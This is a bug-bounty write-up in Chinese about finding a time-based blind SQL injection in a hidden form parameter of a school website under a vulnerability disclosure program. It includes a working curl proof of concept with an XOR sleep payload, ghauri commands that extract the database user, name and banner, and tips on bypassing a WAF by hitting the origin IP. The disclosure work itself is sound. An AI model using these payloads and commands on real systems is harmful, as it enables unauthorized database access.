官网:http://securitytech.cc/
从信息收集到报告提交:利用隐藏参数中的 SQL 注入
发现隐藏参数中的高危漏洞
简介:
SQL 注入(SQLi)是 Web 安全中最古老、最危险的漏洞之一。即便到了 2025 年,它依旧存在,原因有:
- 开发者有时忘记对 所有输入 进行过滤。
- 隐藏或不太显眼的参数经常被忽略。
- 旧系统依然被广泛使用。
在这篇文章中,我会分享我是如何在一个 VDP(漏洞披露计划) 中发现 基于时间的 SQL 注入 的。
🤔 为什么在 VDP 上挖洞?
很多人问我:“为什么不直接去 Bug Bounty 平台(BBP)挖洞呢?” 原因如下:
- 作为新人猎人,我更看重 经验而不是奖励。即使漏洞被判为重复,我也能学到新东西。
- VDP 的研究员通常比 BBP 少,所以更容易找到漏洞。
- 积累足够多的有效 VDP 报告后,你会收到 私有项目邀请,这是进入付费 BBP 的入口。
信息收集 & 初步发现:
小贴士:尽量选择 范围较大的目标 来挖洞。
我从 ASN 查询开始,结合 Shodan、ZoomEye、FOFA 等搜索引擎收集 IP,把它们保存到文件中,然后用 httpx-toolkit 扫描:
cat ips.txt | httpx-toolkit -sc | tee alive-ips.txt
在结果里,一个 学校网站 引起了我的注意,它属于目标组织。
第一次探索时,我发现服务器跑的是 过时的 Apache 版本,尝试了几个已知 CVE,但都没成功。
后来,我在同一站点发现了一个 XSS 漏洞,通过窃取用户 Session Cookie 进行了利用,并成功提交报告。
两三天后,我回访这个 IP,确认漏洞是否修复。结果发现整个网站已经改版,只剩下一个 订阅学校新闻的表单 —— 非常适合测试输入。
🕵️ 漏洞发现:
我往表单里随便填了些测试数据,在 Burp Suite 中拦截 订阅请求 时,注意到一个隐藏的参数:
subscription_list[]=2891831
这立刻引起了我的注意。隐藏参数往往是 漏洞宝藏。
我先用常见 payload 手工测试,但没触发。由于这是源站 IP(没有 WAF,没有限速),于是我用 Acunetix(付费版) 扫描。
5 分钟内,Acunetix 就报出了 SQL 注入 🚩 —— 检测到一个 基于 XOR 的时间盲注。
Acunetix 验证结果
PoC(概念验证):
我用 curl 手动验证:
curl -s -w "Total time: %{time_total}\n" \
'https://target.com/endpoint.php' \
-X POST -i --insecure \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Referer: https://target.com/' \
-H 'Cookie: PHPSESSID=xxxxxx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "approval=true&inputCellPhone=555-666-0606&inputEmail=test@example.com&inputFirstName=John&inputLastName=Doe&inputSecurityAnswer=1&inputSecurityQuestion=1&subscription_list%5B%5D=6030'XOR(603*if(now()=sysdate(),sleep(6),0))XOR'Z"
✅ 响应延迟 6 秒 —— 明显的时间盲注证据。
延迟 6 秒
🛠 漏洞利用:
由于 sqlmap 不支持 XOR 类型 payload,我换成了 Ghauri(支持)。
先获取当前数据库用户:
ghauri -r req.txt --random-agent --current-user
成功获取当前用户
审核员让我提供更多信息(数据库、版本等),于是我重新运行:
ghauri -r req.txt --random-agent --banner --current-user --current-db
💡 成功获取到:
- 数据库名称
- 当前用户
- Banner 信息
此时,漏洞已被 确认、可复现、影响严重。报告被接受。
📝 收获总结
-
一定要检查隐藏参数 —— 这些经常被忽视。
-
先手工测试,再结合扫描工具。
-
源站 IP 是好帮手 —— 通常没有 WAF,没有限速。
-
工具很重要。这次
Ghauri成功,而sqlmap却不行。